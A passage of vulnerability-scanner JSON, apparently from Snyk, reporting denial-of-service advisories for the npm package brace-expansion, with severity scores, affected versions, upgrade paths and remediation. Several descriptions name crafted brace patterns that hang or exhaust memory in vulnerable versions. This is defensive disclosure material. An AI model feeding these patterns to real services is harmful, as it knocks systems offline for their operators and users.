"GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable 